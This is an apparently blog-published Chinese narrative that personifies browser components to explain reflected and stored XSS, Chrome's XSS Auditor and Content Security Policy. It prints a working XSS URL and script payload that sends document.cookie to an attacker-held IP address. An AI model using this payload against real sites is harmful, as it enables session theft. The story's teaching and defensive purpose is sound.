神秘URL

我叫小風(fēng)，是Windows帝國一個普通的上班族。上一回說到因為一個跨域請求，我差點丟了飯碗，好在有驚無險，我的職場歷險記還在繼續(xù)。

“叮叮叮叮~~~~”，鬧鐘又把我給吵醒了，我一看時間竟然已經(jīng)這么晚了。

我趕緊起身，準備要去上班，好不容易在那家瀏覽器公司謀了個差事，可不敢遲到。

今天又是普通的一天，很快就到了深夜，上網(wǎng)業(yè)務(wù)少了，我和小雪妹子一合計，伙同負責(zé)網(wǎng)絡(luò)連接的老白和負責(zé)存儲的小黑，一起打起了麻將。

一連打了幾圈，正在興頭上，公司的美女前臺跑了過來，“你們幾個別玩了，上網(wǎng)業(yè)務(wù)來了。老白，這是URL，給”

我瞅了一眼這URL，看上去有些奇怪，不僅比之前見過的都長，貌似還夾雜著一些JavaScript代碼。

http://zone.oo.com/user/info.jsp?desc="/><script>$("body").append("<img src='http://192.168.59.129?c="+escape(document.cookie) + "'>")</script><!--

“老白，這URL長的好奇怪？會不會有什么問題？”，我向老白問到。

“嗨，你小子就是新來的，我見過的URL比你執(zhí)行過的JS代碼都多，什么奇形怪狀的沒見過，大驚小怪”，老白不屑一顧。

“大家把牌蓋著，都別看，忙完了回來咱接著打”，老白繼續(xù)說到。

于是大家各歸各位，準備處理這一單上網(wǎng)業(yè)務(wù)。

很快，老白取回了這個URL背后的網(wǎng)頁，交給了小雪來解析渲染。

小雪做了一半，叫住了我：“風(fēng)哥，又有 <script> 標(biāo)簽了，該你上了”。

我接過小雪手里的網(wǎng)頁，猛地一看，這不是剛剛URL里面出現(xiàn)的代碼嗎？怎么又跑到網(wǎng)頁里面去了？

心里突然涌上一種不好的預(yù)感，正在困惑之中，老白催我了，“小雪小風(fēng)你倆趕緊的，網(wǎng)頁加載半天了還沒顯示出來！”

但愿是我多想了，我開始執(zhí)行這 <script> 標(biāo)簽中的代碼了。

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

我要創(chuàng)建一個新的 <img> 標(biāo)簽，添加到網(wǎng)頁正文中去?？戳艘幌逻@個圖片的來源，是一個新的地址，再一看，還要把當(dāng)前網(wǎng)站的Cookie帶著作為參數(shù)才能拿到這個圖片。

我來到小黑的存儲倉庫，準備向他索要Cookie。

當(dāng)我表明來意以后，小黑也顯得有些謹慎，“按照公司規(guī)定，一個網(wǎng)站的Cookie是不能隨便給別的網(wǎng)站訪問的”

“這我當(dāng)然知道，不過現(xiàn)在是這個網(wǎng)站的JS代碼主動把Cookie取出來發(fā)給別人，這不算違反公司規(guī)定吧”，我解釋到。

小黑鄒著眉頭想了一想，也就同意了。

我拿到cookie后，構(gòu)建了一個完整的 <img> 標(biāo)簽添加到了網(wǎng)頁的DOM樹中，之后還給小雪繼續(xù)渲染。

網(wǎng)頁很快渲染完成展示出來了，忙完之后我們繼續(xù)開始未完的牌局。

過了一會兒，人類終于關(guān)掉了瀏覽器，我們也可以下班了······

XSS跨站腳本攻擊

第二天一早，我剛到公司，小雪妹子就轉(zhuǎn)過頭告訴我：“風(fēng)哥，主管讓你去趟他的辦公室，他好像不太高興，你當(dāng)心點”

“你知道是什么事情嗎？”

“我也不太清楚，只聽說你執(zhí)行了什么錯誤的JavaScript代碼”

我心里一緊，感覺大事不妙，難道是昨晚那奇怪的代碼有什么問題？

來到主管的辦公室，見里面坐了一個年輕小哥。我輕輕的敲了敲門問到：“主管，您找我有事？”

主管見我到來，指著旁邊的沙發(fā)示意我也坐下。

“你闖禍了知道嗎？”，領(lǐng)導(dǎo)扔給我一頁文件。

我拿起文件一看，上面赫然寫著我昨晚執(zhí)行那段奇怪的JavaScript代碼。

“主管，我不太清楚，這是有什么問題嗎？”，我小聲問道。

主管指著旁邊那個年輕小哥說到：“這位是OO空間網(wǎng)站的負責(zé)人，讓他告訴你吧”

小哥點了點頭說到：“是這樣的，我們發(fā)現(xiàn)有人盜用我們網(wǎng)站的Cookie，免登錄直接訪問了進去，經(jīng)過日志排查，發(fā)現(xiàn)是你們這里把Cookie泄露的，所以想過來了解一下情況”

“這段代碼是你們網(wǎng)站自己的，我只是完成我的工作執(zhí)行了它而已啊”，我開始有些緊張了。

“可是我們網(wǎng)站根本沒有這段代碼，也不可能把Cookie就這樣發(fā)給別人的”，這小哥也爭辯道。

辦公室的氣氛變得有些緊張，現(xiàn)場陷入了短暫的安靜。

就在此時，年輕小哥出去接了一個電話。

片刻之后，小哥再次回到辦公室，臉色突然和緩了許多，笑著說到：“不好意思，剛剛接到同事的電話說，他們已經(jīng)排查出了問題，是我們網(wǎng)站對URL中的參數(shù)沒有檢查，直接寫入了網(wǎng)頁中，被人利用傳入了JS代碼。跟你們應(yīng)該沒有關(guān)系，實在是抱歉”

聽完，我松了一口氣，差點就要背鍋了。

回到工位，我把事情的經(jīng)過告訴了大伙。

小雪聽后吐槽：“那些奇奇怪怪的URL就別亂點嘛，真是給我們添亂”

“你看你看，我昨晚上就覺得有些不對勁。這壞蛋手段挺高啊，能想出這么個損招，咱們給這種攻擊方式取個名字吧”，小黑說到，“叫Cross Site Script攻擊怎么樣？”

老白點了點頭，“跨站腳本攻擊，嗯，總結(jié)很到位，那就簡稱CSS吧！”

小雪一聽轉(zhuǎn)過頭來，“你叫CSS，那我的層疊樣式表豈不是要改名讓賢？”

老白撓了撓頭，有些不好意思，“哦，忘了這一茬。那改一下，叫XSS，這總可以了吧？”

我們都點了點頭，就這么定了。

XSS Auditor

雖然這一次的事情責(zé)任不在我們?yōu)g覽器，不過我一直還是有些后怕。

這天晚上，我又仔細回憶了那天整個事情的經(jīng)過

突然腦子里靈光一閃，發(fā)現(xiàn)一個重要的特點

既然JS代碼同時出現(xiàn)在了請求的URL中和響應(yīng)的網(wǎng)頁中，何不利用這個特點來進行針對性攔截呢？

越想越難入睡，連夜寫起了方案。

第二天，來到公司，打算將昨晚的方案匯報給主管，掙一下表現(xiàn)。

我再次來到主管辦公室，主管見是我，招呼道：“小風(fēng)啊，來來來，剛好找你有點事”

我快步走了進去，只見主管又拿出了一疊文件放在我的面前，隨后說到：“這是我搞到的絕密資料，是咱們隔壁Chrome瀏覽器公司的一個叫XSS Auditor的技術(shù)，據(jù)說可以阻止類似上次的攻擊事件，你抽空研究一下”

我腦子一懵，趕緊快速瀏覽了這份文件，沒想到居然跟我的方案撞到一塊兒了，而且比我想的還全面細致。我只好悄悄收起了原來準備匯報的方案······

幾天后，主管宣布我們也要用上這種技術(shù)，增強咱們?yōu)g覽器的安全性。

存儲型XSS

“聽說了嗎？隔壁Chrome瀏覽器公司也發(fā)生XSS攻擊了”，一天中午，老白神神秘秘的說到。

我一聽來了精神，“不是有XSS Auditor嗎，怎么還會發(fā)生這種事？”

“這回那些壞蛋換招了，他們沒有把JS代碼放在URL中，XSS Auditor自然是發(fā)覺不了了”

“不在URL中，那放哪里了？”

“聽說是存在了數(shù)據(jù)庫里，訪問網(wǎng)頁的時候從數(shù)據(jù)庫里讀取出來后，直接給填充到了網(wǎng)頁上了，喏，就像這樣”，老白說完畫了一個圖。

“對了，他們借此機會把XSS攻擊分成了兩種，以前那種直接通過URL把JS代碼注入進網(wǎng)頁的方式叫做反射型XSS，這一次這種叫存儲型XSS”，老白繼續(xù)說到。

我看了老白的圖一下就明白了，“這一招也太狠了，存進了網(wǎng)站的數(shù)據(jù)庫里，所有人訪問頁面都得中招”

“可不是咋的，OO空間網(wǎng)站那邊已經(jīng)亂成一鍋粥了，正在內(nèi)部整頓，對所有的輸入進行全面的檢查過濾，防止JS代碼混進去。”

“這種事情還是得他們網(wǎng)站自己做好檢查，咱們?yōu)g覽器也幫不上什么忙”，一旁的小黑也插了一嘴。

大家七嘴八舌聊了幾句就散了。

雖然小黑說的也沒錯，不過上次的方案撞車，我一直不太服氣，這一次機會來了，我要是能再想出一套方案，能把這次的新型XSS一并解決的話，那就揚眉吐氣了。

之后一段時間，一有閑暇我就開始思考這個問題，卻一直沒什么進展。

CSP

這一天中午，沒什么工作要忙，我又想起了這個問題，小雪他們又組織打麻將，我沒有心思便拒絕了。

老白聞訊過來，說到：“小風(fēng)，你還在想那個問題啊，你這兩天沒看新聞嗎，W3C標(biāo)準化組織推出了一個新技術(shù)，已經(jīng)把這個問題解決了！”

老白的話如當(dāng)頭一棒，“什么技術(shù)？怎么解決的？”

“你看你，天天關(guān)起門來研究，都不知道外面的世界變化有多快。你去了解一下，好像叫什么Content Security Policy，哦對，就是這個，簡稱叫CSP”

我趕緊去打聽了這個叫CSP的新技術(shù)，看完直拍大腿，我怎么就沒想到。

CSP規(guī)定了一個叫Content-Security-Policy的信息，網(wǎng)站通過這個信息告訴瀏覽器哪些外部資源可以加載和執(zhí)行。這個信息可以用HTTP頭的形式出現(xiàn)，像這樣：

也可以通過 <meta> 標(biāo)簽出現(xiàn)，像這樣：

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至于里面的內(nèi)容，則是將所有可能出現(xiàn)外部資源加載的地方進行了指示，瀏覽器拿到它就能知道能去哪些地址加載對應(yīng)的資源，如果資源所在的地址不在名單之內(nèi)就拒絕加載：

- script-src：外部腳本
- style-src：樣式表
- img-src：圖像
- media-src：媒體文件（音頻和視頻）
- font-src：字體文件
- object-src：插件（比如 Flash）
- child-src：框架
- frame-ancestors：嵌入的外部資源
- connect-src：HTTP 連接（通過 XHR、WebSockets、EventSource等）
- worker-src：worker腳本
- manifest-src：manifest 文件

比如 img-src的內(nèi)容是self，那所有的 <img> 標(biāo)簽的src屬性必須是在當(dāng)前網(wǎng)站才行，如果加載其他地址的圖片就會拒絕。

不僅如此，還提供了一個叫report-uri的字段，字段內(nèi)容是一個服務(wù)器地址，瀏覽器發(fā)現(xiàn)有不符合規(guī)定的資源加載后，除了拒絕加載還可以把這一情況報告給這個地址，網(wǎng)站就能及時知道預(yù)警了。

真是完美的解決方案！沒想到，竟然這么多競爭對手都已經(jīng)用上了這項技術(shù)

當(dāng)天下午，我就拉著老白去到領(lǐng)導(dǎo)辦公室，說服他將這項技術(shù)在咱們公司也用起來。

煩人的XSS攻擊總算是緩解了不少，我們也難得度過了一段時間的太平日子。

未完待續(xù)······

特別推薦一個分享架構(gòu)+算法的優(yōu)質(zhì)內(nèi)容，還沒關(guān)注的小伙伴，可以長按關(guān)注一下：

長按訂閱更多精彩▼
如有收獲，點個在看，誠摯感謝